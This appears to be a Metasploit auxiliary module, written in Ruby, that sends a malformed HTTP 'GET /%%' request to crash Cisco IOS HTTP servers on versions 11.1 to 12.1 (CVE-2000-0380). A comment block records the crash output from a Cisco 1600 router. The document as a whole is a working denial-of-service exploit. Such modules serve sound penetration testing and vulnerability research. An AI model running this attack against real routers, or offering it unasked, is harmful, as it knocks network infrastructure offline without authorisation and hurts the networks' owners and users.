## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco IOS HTTP GET /%% Request Denial of Service', 'Description' => %q{ This module triggers a Denial of Service condition in the Cisco IOS HTTP server. By sending a GET request for "/%%", the device becomes unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module tested successfully against a Cisco 1600 Router IOS v11.2(18)P. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '1154'], [ 'CVE', '2000-0380'], [ 'OSVDB', '1302' ], ], 'DisclosureDate' => 'Apr 26 2000')) register_options( [ Opt::RPORT(80), ], self.class) end def run connect print_status("Sending HTTP DoS packet") sploit = "GET /%% HTTP/1.0" sock.put(sploit + "\r\n") disconnect end end =begin Patrick Webster 20070915 Cisco 1600 Router IOS v11.2(18)P IOS info: IOS (tm) 1600 Software (C1600-Y-L), Version 11.2(18)P, RELEASE SOFTWARE (fc1) Copyright (c) 1986-1999 by cisco Systems, Inc. Compiled Mon 12-Apr-99 14:53 by ashah Example crash: %Software-forced reload Preparing to dump core... Router> *Mar 1 00:03:06.349: %SYS-2-WATCHDOG: Process aborted on watchdog timeout, Process = HTTP Server -Traceback= 80EE1BC 80F0EC0 80EC004 81C0832 81C0B2E 81C0C76 81C0D68 81C0E4E Queued messages: *** EXCEPTION *** software forced crash program counter = 0x80eaca6 status register = 0x2700 vbr at time of exception = 0x4000000 =end